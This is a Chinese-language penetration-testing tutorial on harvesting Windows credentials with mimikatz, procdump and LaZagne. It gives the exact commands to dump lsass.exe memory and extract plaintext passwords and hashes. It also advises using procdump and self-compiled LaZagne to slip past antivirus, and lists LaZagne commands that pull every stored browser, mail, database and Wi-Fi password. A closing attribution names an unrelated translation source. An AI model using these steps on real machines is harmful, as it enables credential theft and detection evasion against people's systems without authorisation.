一、mimikatz简介
mimikatz是法国人Gentil Kiwi编写的一款windows平台下的神器，它具备很多功能，其中最亮的功能是直接从lsass.exe进程里获取windows处于active状态账号的明文密码或hash散列值。
mimikatz的功能不仅如此，它还可以提升进程权限，注入进程，读取进程内存等等，mimikatz包含了很多本地模块，更像是一个轻量级的调试器，还有很多强大的功能，今天只介绍密码抓取这部分内容。
1、下载地址
https://github.com/gentilkiwi/mimikatz
2、运行环境
需要以管理员权限启动，否则执行命令会报错，如下：
```
mimikatz64.exe
.#####. mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / ## / Benjamin DELPY gentilkiwi ( [email protected] )
## / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > http://pingcastle.com / http://mysmartlogon.com /
mimikatz # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061
mimikatz # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061
mimikatz #
```
也就能解释往往在内网渗透实战环境中为啥要先提权，才能运行mimikatz，如果有杀软的存在那么还需要对mimikazt作免杀处理，免杀则又是另外一门技术研究话题了。
3、使用命令
```
privilege::debug # 提权
sekurlsa::logonpasswords # 抓取密码
```
二、Procdump简介
Procdump是一个轻量级的Sysinternal团队开发的命令行工具, 它的主要目的是监控应用程序的CPU异常动向, 并在此异常时生成crash dump文件, 供研发人员和管理员确定问题发生的原因，你还可以把它作为生成dump的工具使用在其他的脚本中。
1、下载地址
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
2、优点
不会被杀软查杀，省去了免杀的过程，加强了内网渗透抓取密码的效率，一般配合mimikazt使用来躲避杀软
3、lsass.exe介绍
lsass.exe进程用于本地安全和登陆策略，可在进程中查询
4、执行命令
将目标的 lsass.exe 转储成 dmp 文件（远程桌面），鼠标右键转储dmp文件
无法远程桌面情况下执行命令
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
管理员权限运行否则报错
运行成功，可以看到生成的lsass.dmp文件在procdump同目录下。
需将lsass.dmp移到mimikatz64.exe同目录
使用 mimikatz 从转储的 lsass.dmp 中来读取明文密码
mimikatz64.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
三、LaZagne简介
LaZagne是一款用于检索大量存储在本地计算机密码的开源应用程序。 因为每个软件储存密码的方式不尽相同（明文、API、定制算法、数据库等），所以该工具使用多种方法获取软件密码。
1、下载地址
https://github.com/AlessandroZ/LaZagne
2、安装环境
使用前需要安装python3和库：pip3 install -r requirements.txt
安装pyinstaller用于编译和打包：pip3 install pyinstaller
利用pyinstaller编译：pyinstaller --onefile -w lazagne.spec
我这个打包下来大概有22M（python打包的大小问题还需要大佬指正，太大不利于实战环境中使用），编译后可过免杀（亲测360和火绒可过），如果是直接用github上下载的exe无法直接抓取系统密码或者抓取有限，必须自己下载源码后，自行编译。
运行lazagne.py，看看效果吧
3、运行命令
1、启动所有模块，可抓取所有支持软件的密码
```
lazagne.exe all
要解密域凭据，可以指定用户Windows密码来完成。否则，它将尝试将所有已找到的密码作为Windows密码使用。
laZagne.exe all -password ZapataVive
```
2、仅抓取一类软件，如：仅抓取浏览器密码
lazagne.exe browsers
3、抓取特定一个软件的密码，如：火狐
lazagne.exe browsers -firefox
4、将找到的所有密码写到文件中
```
普通txt为-oN，Json为-oJ，所有为-oA
lazagne.exe all -oN
lazagne.exe all -oA -output C:UsersxxxDesktop
```
5、帮助命令
lazagne.exe -h
lazagne.exe browsers -h
6、详细模式
lazagne.exe all -vv
7、安静模式（标准输出上不会打印任何内容）
lazagne.exe all -quiet -oA
目前支持的软件
| | *Windows | *Linux | *Mac* |
| ------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- |
| Browsers | 7Star
Amigo
BlackHawk
Brave
Centbrowser
Chedot
Chrome Canary
Chromium
Coccoc
Comodo Dragon
Comodo IceDragon
Cyberfox
Elements Browser
Epic Privacy Browser
Firefox
Google Chrome
Icecat
K-Meleon
Kometa
Microsoft Edge
Opera
Orbitum
Sputnik
Torch
Uran
Vivaldi
| Brave
Chromium
Dissenter-Browser
Firefox
Google Chrome
IceCat
Microsoft Edge (Beta/Dev)
Opera
SlimJet
Vivaldi | Chrome
Firefox |
| Chats | Pidgin
Psi
Skype | Pidgin
Psi | |
| Databases | DBVisualizer
Postgresql
Robomongo
Squirrel
SQLdevelopper | DBVisualizer
Squirrel
SQLdevelopper | |
| Games | GalconFusion
Kalypsomedia
RogueTale
Turba | | |
| Git | Git for Windows | | |
| Mails | Outlook
Thunderbird | Clawsmail
Thunderbird | |
| Maven | Maven Apache
| | |
| Dumps from memory | Keepass
Mimikatz method | System Password | |
| Multimedia | EyeCON
| | |
| PHP | Composer
| | |
| SVN | Tortoise | | |
| Sysadmin | Apache Directory Studio
CoreFTP
CyberDuck
FileZilla
FileZilla Server
FTPNavigator
OpenSSH
OpenVPN
KeePass Configuration Files (KeePass1, KeePass2)
PuttyCM
RDPManager
VNC
WinSCP
Windows Subsystem for Linux | Apache Directory Studio
AWS
Docker
Environnement variable
FileZilla
gFTP
History files
Shares
SSH private keys
KeePass Configuration Files (KeePassX, KeePass2)
Grub | |
| Wifi | Wireless Network | Network Manager
WPA Supplicant | |
| Internal mechanism passwords storage | Autologon
MSCache
Credential Files
Credman
DPAPI Hash
Hashdump (LM/NT)
LSA secret
Vault Files | GNOME Keyring
Kwallet
Hashdump | Keychains
Hashdump |
译文来源：https://blog.includesecurity.com/2021/06/hack-series-is-your-ansible-package-configuration-secure/。受个人知识所限或偏见影响，部分内容或存在过度曲解误解…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论